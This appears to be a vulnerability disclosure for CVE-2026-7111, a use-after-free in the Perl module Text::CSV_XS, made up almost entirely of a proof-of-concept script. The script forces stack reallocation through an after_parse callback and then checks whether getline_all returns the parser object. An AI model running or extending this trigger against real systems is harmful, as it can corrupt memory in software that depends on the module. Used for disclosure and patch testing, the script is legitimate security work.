CVE-2026-7111 Text::CSV_XS释放后重用漏洞

#!/usr/bin/perl use strict; use warnings; use Text::CSV_XS; # Create a new CSV object my $csv = Text::CSV_XS->new({ binary => 1 }); # Register a callback that triggers stack growth # This callback returns a large list to force Perl stack reallocation $csv->callbacks( after_parse => sub { # Simulate stack extension by returning a large list # This stresses the stack allocator and triggers the UAF condition return (1) x 1000; } ); # CSV input data my $data = "col1,col2\nval1,val2"; open my $fh, '<', \$data or die "Cannot open string"; # Trigger the vulnerability using getline_all # This method invokes the callback, causing stack reallocation # and the subsequent use-after-free write. my $result = $csv->getline_all($fh); # Verify if the vulnerability is triggered (Type Confusion) # If successful, $result is the object itself, not an arrayref of data if (ref $result eq 'Text::CSV_XS') { print "[+] Vulnerability Triggered: Type confusion detected.\n"; print " Received Object instead of parsed data.\n"; } else { print "[-] Vulnerability not triggered or patched.\n"; } close $fh;